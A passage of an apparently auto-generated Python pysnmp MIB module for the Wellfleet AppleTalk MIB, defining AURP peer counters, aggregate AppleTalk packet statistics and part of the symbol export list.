mibBuilder.loadTexts: wfAppleAurpEntryPeerUpdateRate.setStatus('mandatory') wfAppleAurpEntryPeerEnvironment = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 16), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryPeerEnvironment.setStatus('mandatory') wfAppleAurpEntryPeerSuiFlags = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 17), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryPeerSuiFlags.setStatus('mandatory') wfAppleAurpEntryCliConnId = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 18), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryCliConnId.setStatus('mandatory') wfAppleAurpEntrySrvConnId = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 19), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntrySrvConnId.setStatus('mandatory') wfAppleAurpEntryCliSeqNum = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 20), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryCliSeqNum.setStatus('mandatory') wfAppleAurpEntrySrvSeqNum = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 21), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntrySrvSeqNum.setStatus('mandatory') wfAppleAurpEntryCommandRetries = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 22), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryCommandRetries.setStatus('mandatory') wfAppleAurpEntryInDelayedDuplicates = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 23), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInDelayedDuplicates.setStatus('mandatory') wfAppleAurpEntryInInvalidConnIds = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 24), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInInvalidConnIds.setStatus('mandatory') wfAppleAurpEntryInInvalidCommands = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 25), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInInvalidCommands.setStatus('mandatory') wfAppleAurpEntryInInvalidSubCodes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 26), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInInvalidSubCodes.setStatus('mandatory') wfAppleAurpEntryInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 27), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInPkts.setStatus('mandatory') wfAppleAurpEntryOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 28), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutPkts.setStatus('mandatory') wfAppleAurpEntryInDdpPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 29), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInDdpPkts.setStatus('mandatory') wfAppleAurpEntryOutDdpPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 30), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutDdpPkts.setStatus('mandatory') wfAppleAurpEntryOutNoRoutes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 31), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutNoRoutes.setStatus('mandatory') wfAppleAurpEntryHopCountErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 32), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryHopCountErrors.setStatus('mandatory') wfAppleAurpEntryHopCountAdjustments = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 33), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryHopCountAdjustments.setStatus('mandatory') wfAppleAurpEntryInAurpPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 34), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInAurpPkts.setStatus('mandatory') wfAppleAurpEntryOutAurpPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 35), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutAurpPkts.setStatus('mandatory') wfAppleAurpEntryInOpenRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 36), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInOpenRequests.setStatus('mandatory') wfAppleAurpEntryOutOpenRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 37), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutOpenRequests.setStatus('mandatory') wfAppleAurpEntryInOpenResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 38), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInOpenResponses.setStatus('mandatory') wfAppleAurpEntryOutOpenResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 39), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutOpenResponses.setStatus('mandatory') wfAppleAurpEntryInRiRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 40), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInRiRequests.setStatus('mandatory') wfAppleAurpEntryOutRiRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 41), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutRiRequests.setStatus('mandatory') wfAppleAurpEntryInRiResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 42), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInRiResponses.setStatus('mandatory') wfAppleAurpEntryOutRiResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 43), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutRiResponses.setStatus('mandatory') wfAppleAurpEntryInRiAcks = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 44), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInRiAcks.setStatus('mandatory') wfAppleAurpEntryOutRiAcks = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 45), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutRiAcks.setStatus('mandatory') wfAppleAurpEntryInRiUpdates = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 46), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInRiUpdates.setStatus('mandatory') wfAppleAurpEntryOutRiUpdates = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 47), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutRiUpdates.setStatus('mandatory') wfAppleAurpEntryInUpdateNullEvents = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 48), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateNullEvents.setStatus('mandatory') wfAppleAurpEntryOutUpdateNullEvents = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 49), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateNullEvents.setStatus('mandatory') wfAppleAurpEntryInUpdateNetAdds = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 50), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateNetAdds.setStatus('mandatory') wfAppleAurpEntryOutUpdateNetAdds = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 51), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateNetAdds.setStatus('mandatory') wfAppleAurpEntryInUpdateNetDeletes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 52), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateNetDeletes.setStatus('mandatory') wfAppleAurpEntryOutUpdateNetDeletes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 53), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateNetDeletes.setStatus('mandatory') wfAppleAurpEntryInUpdateNetRouteChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 54), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateNetRouteChanges.setStatus('mandatory') wfAppleAurpEntryOutUpdateNetRouteChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 55), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateNetRouteChanges.setStatus('mandatory') wfAppleAurpEntryInUpdateNetDistanceChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 56), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateNetDistanceChanges.setStatus('mandatory') wfAppleAurpEntryOutUpdateNetDistanceChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 57), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateNetDistanceChanges.setStatus('mandatory') wfAppleAurpEntryInUpdateZoneChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 58), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateZoneChanges.setStatus('mandatory') wfAppleAurpEntryOutUpdateZoneChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 59), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateZoneChanges.setStatus('mandatory') wfAppleAurpEntryInUpdateInvalidEvents = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 60), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInUpdateInvalidEvents.setStatus('mandatory') wfAppleAurpEntryOutUpdateInvalidEvents = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 61), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutUpdateInvalidEvents.setStatus('mandatory') wfAppleAurpEntryInZiRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 62), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInZiRequests.setStatus('mandatory') wfAppleAurpEntryOutZiRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 63), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutZiRequests.setStatus('mandatory') wfAppleAurpEntryInZiResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 64), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInZiResponses.setStatus('mandatory') wfAppleAurpEntryOutZiResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 65), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutZiResponses.setStatus('mandatory') wfAppleAurpEntryInGdzlRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 66), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInGdzlRequests.setStatus('mandatory') wfAppleAurpEntryOutGdzlRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 67), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutGdzlRequests.setStatus('mandatory') wfAppleAurpEntryInGdzlResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 68), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInGdzlResponses.setStatus('mandatory') wfAppleAurpEntryOutGdzlResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 69), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutGdzlResponses.setStatus('mandatory') wfAppleAurpEntryInGznRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 70), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInGznRequests.setStatus('mandatory') wfAppleAurpEntryOutGznRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 71), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutGznRequests.setStatus('mandatory') wfAppleAurpEntryInGznResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 72), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInGznResponses.setStatus('mandatory') wfAppleAurpEntryOutGznResponses = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 73), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutGznResponses.setStatus('mandatory') wfAppleAurpEntryInTickles = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 74), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInTickles.setStatus('mandatory') wfAppleAurpEntryOutTickles = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 75), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutTickles.setStatus('mandatory') wfAppleAurpEntryInTickleAcks = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 76), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInTickleAcks.setStatus('mandatory') wfAppleAurpEntryOutTickleAcks = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 77), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutTickleAcks.setStatus('mandatory') wfAppleAurpEntryInRouterDowns = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 78), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryInRouterDowns.setStatus('mandatory') wfAppleAurpEntryOutRouterDowns = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 79), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryOutRouterDowns.setStatus('mandatory') wfAppleAurpEntryZoneFiltDfltZone = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 80), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryZoneFiltDfltZone.setStatus('mandatory') wfAppleAggrStats = MibIdentifier((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10)) wfAppleAggrInPkts = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 1), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInPkts.setStatus('mandatory') wfAppleAggrOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrOutPkts.setStatus('mandatory') wfAppleAggrFwdDatagrams = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrFwdDatagrams.setStatus('mandatory') wfAppleAggrInXsumErrs = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInXsumErrs.setStatus('mandatory') wfAppleAggrInHopCountErrs = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInHopCountErrs.setStatus('mandatory') wfAppleAggrInTooShorts = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInTooShorts.setStatus('mandatory') wfAppleAggrInTooLongs = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInTooLongs.setStatus('mandatory') wfAppleAggrOutNoRoutes = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrOutNoRoutes.setStatus('mandatory') wfAppleAggrInLocalDests = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInLocalDests.setStatus('mandatory') wfAppleAggrInRtmps = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrInRtmps.setStatus('mandatory') wfAppleAggrOutRtmps = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 10, 11), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAggrOutRtmps.setStatus('mandatory') mibBuilder.exportSymbols("Wellfleet-AT-MIB", wfAppleZipZoneNetStart=wfAppleZipZoneNetStart, wfAppleAurpEntryOutRiAcks=wfAppleAurpEntryOutRiAcks, wfAppleBaseEstimatedHosts=wfAppleBaseEstimatedHosts, wfApplePortAarpRspTxs=wfApplePortAarpRspTxs, wfAppleAurpBaseDomain=wfAppleAurpBaseDomain, wfAppleAurpEntryInRiUpdates=wfAppleAurpEntryInRiUpdates, wfAppleAurpEntryOutGznRequests=wfAppleAurpEntryOutGznRequests, wfAppleZoneFilterCircuitType=wfAppleZoneFilterCircuitType, wfApplePortZipInZipQueries=wfApplePortZipInZipQueries, wfApplePortNodeId=wfApplePortNodeId, wfApplePortAarpProbeTxs=wfApplePortAarpProbeTxs, wfAppleAurpEntryInUpdateNullEvents=wfAppleAurpEntryInUpdateNullEvents, wfAppleAurpEntryOutUpdateInvalidEvents=wfAppleAurpEntryOutUpdateInvalidEvents, wfApplePortWanBroadcastAddress=wfApplePortWanBroadcastAddress, wfAppleAurpBasePromiscuous=wfAppleAurpBasePromiscuous, wfApplePortEntry=wfApplePortEntry, wfApplePortNetStart=wfApplePortNetStart, wfAppleAurpEntryLhfTimeout=wfAppleAurpEntryLhfTimeout, wfAppleAurpEntryPeerUpdateRate=wfAppleAurpEntryPeerUpdateRate, wfAppleAarpNet=wfAppleAarpNet, wfAppleAurpEntryRetryCommand=wfAppleAurpEntryRetryCommand, wfAppleAurpEntryInDdpPkts=wfAppleAurpEntryInDdpPkts, wfAppleAurpEntryState=wfAppleAurpEntryState, wfAppleAggrInTooLongs=wfAppleAggrInTooLongs, wfMacIPLowerIpAddress2=wfMacIPLowerIpAddress2, wfAppleAurpEntryInTickleAcks=wfAppleAurpEntryInTickleAcks, wfApplePortZipInGetNetInfos=wfApplePortZipInGetNetInfos, wfAppleBaseState=wfAppleBaseState, wfAppleAggrInRtmps=wfAppleAggrInRtmps, wfAppleAurpBaseDelete=wfAppleAurpBaseDelete, wfAppleLclZoneIndex=wfAppleLclZoneIndex, wfApplePortAarpReqTxs=wfApplePortAarpReqTxs, wfAppleZoneFilterEntry=wfAppleZoneFilterEntry, wfApplePortDdpForwRequests=wfApplePortDdpForwRequests, wfAppleAurpEntry=wfAppleAurpEntry, wfApplePortInterfaceCost=wfApplePortInterfaceCost, wfAppleBaseTotalZones=wfAppleBaseTotalZones, wfAppleAurpEntryInUpdateInvalidEvents=wfAppleAurpEntryInUpdateInvalidEvents, wfApplePortCircuit=wfApplePortCircuit, wfAppleMacIPBaseDelete=wfAppleMacIPBaseDelete, wfAppleAurpEntryOutOpenRequests=wfAppleAurpEntryOutOpenRequests, wfAppleAggrOutNoRoutes=wfAppleAggrOutNoRoutes, wfAppleZoneFilterTable=wfAppleZoneFilterTable, wfApplePortGniForever=wfApplePortGniForever, wfApplePortNbpInBroadcastRequests=wfApplePortNbpInBroadcastRequests, wfAppleAurpEntryOutUpdateNullEvents=wfAppleAurpEntryOutUpdateNullEvents, wfApplePortZipOutGetNetInfos=wfApplePortZipOutGetNetInfos, wfAppleLclZoneTable=wfAppleLclZoneTable, wfMacIPAddress2=wfMacIPAddress2, wfAppleAurpEntryInInvalidCommands=wfAppleAurpEntryInInvalidCommands, wfAppleAurpEntryInAurpPkts=wfAppleAurpEntryInAurpPkts, wfAppleAurpEntryOutOpenResponses=wfAppleAurpEntryOutOpenResponses, wfAppleAurpEntryInGdzlResponses=wfAppleAurpEntryInGdzlResponses, wfApplePortDdpOutNoRoutes=wfApplePortDdpOutNoRoutes, wfAppleZipEntry=wfAppleZipEntry, wfAppleAurpBaseInRejectedOpenReqs=wfAppleAurpBaseInRejectedOpenReqs, wfApplePortDdpInLocalDatagrams=wfApplePortDdpInLocalDatagrams, wfApplePortCurNetEnd=wfApplePortCurNetEnd, wfAppleLclZoneName=wfAppleLclZoneName, wfAppleAurpBaseInInvalidVerions=wfAppleAurpBaseInInvalidVerions, wfAppleAurpEntryOutRiRequests=wfAppleAurpEntryOutRiRequests, wfAppleAggrOutRtmps=wfAppleAggrOutRtmps, wfApplePortDdpBroadcastErrors=wfApplePortDdpBroadcastErrors, wfAppleAurpBaseInRouterDowns=wfAppleAurpBaseInRouterDowns, wfAppleAurpBaseInPktsNoPeers=wfAppleAurpBaseInPktsNoPeers, wfApplePortZipAddressInvalids=wfApplePortZipAddressInvalids, wfAppleAurpEntryInGznResponses=wfAppleAurpEntryInGznResponses, wfApplePortRtmpRouteDeletes=wfApplePortRtmpRouteDeletes, wfAppleZipIndex=wfAppleZipIndex, wfApplePortDelete=wfApplePortDelete, wfAppleAurpEntryInRiResponses=wfAppleAurpEntryInRiResponses, wfApplePortTrEndStation=wfApplePortTrEndStation, wfAppleAurpEntryOutUpdateZoneChanges=wfAppleAurpEntryOutUpdateZoneChanges, wfAppleAurpEntryInGdzlRequests=wfAppleAurpEntryInGdzlRequests, wfApplePortDdpTooLongErrors=wfApplePortDdpTooLongErrors, wfAppleAarpNode=wfAppleAarpNode, wfAppleRtmpHops=wfAppleRtmpHops, wfAppleBaseTotalAarpEntries=wfAppleBaseTotalAarpEntries, wfApplePortRtmpInDataPkts=wfApplePortRtmpInDataPkts, wfAppleAurpBaseInAcceptedOpenReqs=wfAppleAurpBaseInAcceptedOpenReqs, wfAppleAurpEntryHopCountReduction=wfAppleAurpEntryHopCountReduction, wfApplePortDdpOutRequests=wfApplePortDdpOutRequests, wfApplePortNbpInLookUpRequests=wfApplePortNbpInLookUpRequests, wfAppleAurpEntryOutUpdateNetAdds=wfAppleAurpEntryOutUpdateNetAdds, wfApplePortZipOutZipReplies=wfApplePortZipOutZipReplies, wfAppleAurpEntryOutPkts=wfAppleAurpEntryOutPkts, wfApplePortZipInGetZoneLists=wfApplePortZipInGetZoneLists, wfAppleAurpEntryCliSeqNum=wfAppleAurpEntryCliSeqNum, wfAppleAurpEntryPeerDomainId=wfAppleAurpEntryPeerDomainId, wfAppleAurpEntryHopCountAdjustments=wfAppleAurpEntryHopCountAdjustments, wfApplePortRtmpNextIREqualChanges=wfApplePortRtmpNextIREqualChanges, wfAppleAurpEntryOutRiResponses=wfAppleAurpEntryOutRiResponses, wfAppleAarpEntry=wfAppleAarpEntry, wfApplePortRtmpNetworkMismatchErrors=wfApplePortRtmpNetworkMismatchErrors, wfAppleAurpEntryInUpdateZoneChanges=wfAppleAurpEntryInUpdateZoneChanges, wfApplePortZipInGetLocalZones=wfApplePortZipInGetLocalZones, wfAppleMacIPBaseDisable=wfAppleMacIPBaseDisable, wfAppleAurpBaseIpAddress=wfAppleAurpBaseIpAddress, wfAppleAurpEntryDisable=wfAppleAurpEntryDisable, wfAppleAurpEntryInOpenRequests=wfAppleAurpEntryInOpenRequests, wfApplePortState=wfApplePortState, wfMacIPAddress1=wfMacIPAddress1, wfAppleAggrStats=wfAppleAggrStats, wfMacIPUpperIpAddress3=wfMacIPUpperIpAddress3, wfApplePortRtmpRoutingTableOverflows=wfApplePortRtmpRoutingTableOverflows, wfAppleAurpEntryInRiAcks=wfAppleAurpEntryInRiAcks, wfAppleAurpEntryOutZiResponses=wfAppleAurpEntryOutZiResponses, wfApplePortAarpReqRxs=wfApplePortAarpReqRxs, wfApplePortCurNodeId=wfApplePortCurNodeId, wfApplePortDdpChecksumErrors=wfApplePortDdpChecksumErrors, wfAppleZipZoneName=wfAppleZipZoneName, wfApplePortEchoReplies=wfApplePortEchoReplies, wfMacIPAddress3=wfMacIPAddress3, wfApplePortMacAddress=wfApplePortMacAddress, wfAppleZoneFilterDelete=wfAppleZoneFilterDelete, wfApplePortRtmpInRequestPkts=wfApplePortRtmpInRequestPkts, wfApplePortNbpOutForwardRequests=wfApplePortNbpOutForwardRequests, wfAppleAurpEntryPeerSuiFlags=wfAppleAurpEntryPeerSuiFlags, wfAppleZoneFilterIpAddress=wfAppleZoneFilterIpAddress, wfAppleAurpEntryOutZiRequests=wfAppleAurpEntryOutZiRequests, wfAppleLclZoneDelete=wfAppleLclZoneDelete, wfAppleAurpEntryInUpdateNetAdds=wfAppleAurpEntryInUpdateNetAdds, wfAppleMacIPServerResponces=wfAppleMacIPServerResponces, wfApplePortCurNetStart=wfApplePortCurNetStart, wfApplePortZipOutZipExtendedReplies=wfApplePortZipOutZipExtendedReplies, wfApplePortCksumDisable=wfApplePortCksumDisable, wfAppleRtmpPort=wfAppleRtmpPort, wfAppleRtmpNetEnd=wfAppleRtmpNetEnd, wfApplePortNbpOutBroadcastRequests=wfApplePortNbpOutBroadcastRequests, wfAppleAurpEntryZoneFiltDfltZone=wfAppleAurpEntryZoneFiltDfltZone, wfAppleBaseTotalNets=wfAppleBaseTotalNets, wfAppleAurpEntryCliConnId=wfAppleAurpEntryCliConnId, wfAppleZoneFilterName=wfAppleZoneFilterName, wfAppleAurpEntrySrvSeqNum=wfAppleAurpEntrySrvSeqNum, wfAppleAurpEntryInInvalidConnIds=wfAppleAurpEntryInInvalidConnIds, wfApplePortDisable=wfApplePortDisable, wfApplePortZipOutZipQueries=wfApplePortZipOutZipQueries, wfApplePortType=wfApplePortType, wfApplePortNbpInLookUpReplies=wfApplePortNbpInLookUpReplies, wfApplePortWanSplitHorizonDisable=wfApplePortWanSplitHorizonDisable, wfAppleRtmpTable=wfAppleRtmpTable, wfAppleAurpBaseDisable=wfAppleAurpBaseDisable, wfAppleAurpEntryCommandRetries=wfAppleAurpEntryCommandRetries, wfAppleRtmpNetStart=wfAppleRtmpNetStart, wfApplePortZipZoneConflictErrors=wfApplePortZipZoneConflictErrors, wfAppleAurpEntryOutRiUpdates=wfAppleAurpEntryOutRiUpdates, wfApplePortEchoRequests=wfApplePortEchoRequests, wfAppleAurpEntryOutRouterDowns=wfAppleAurpEntryOutRouterDowns, wfApplePortAarpProbeRxs=wfApplePortAarpProbeRxs, wfAppleBaseDebugLevel=wfAppleBaseDebugLevel, wfAppleBaseDdpQueLen=wfAppleBaseDdpQueLen, wfAppleMacIPZone=wfAppleMacIPZone, wfApplePortTable=wfApplePortTable, wfMacIPLowerIpAddress1=wfMacIPLowerIpAddress1, wfAppleRtmpEntry=wfAppleRtmpEntry, wfAppleAurpEntryOutAurpPkts=wfAppleAurpEntryOutAurpPkts, wfAppleLclZonePortCircuit=wfAppleLclZonePortCircuit, wfAppleBaseDelete=wfAppleBaseDelete, wfApplePortZipZoneOutInvalids=wfApplePortZipZoneOutInvalids, wfAppleRtmpProto=wfAppleRtmpProto, wfApplePortZipInZipExtendedReplies=wfApplePortZipInZipExtendedReplies, 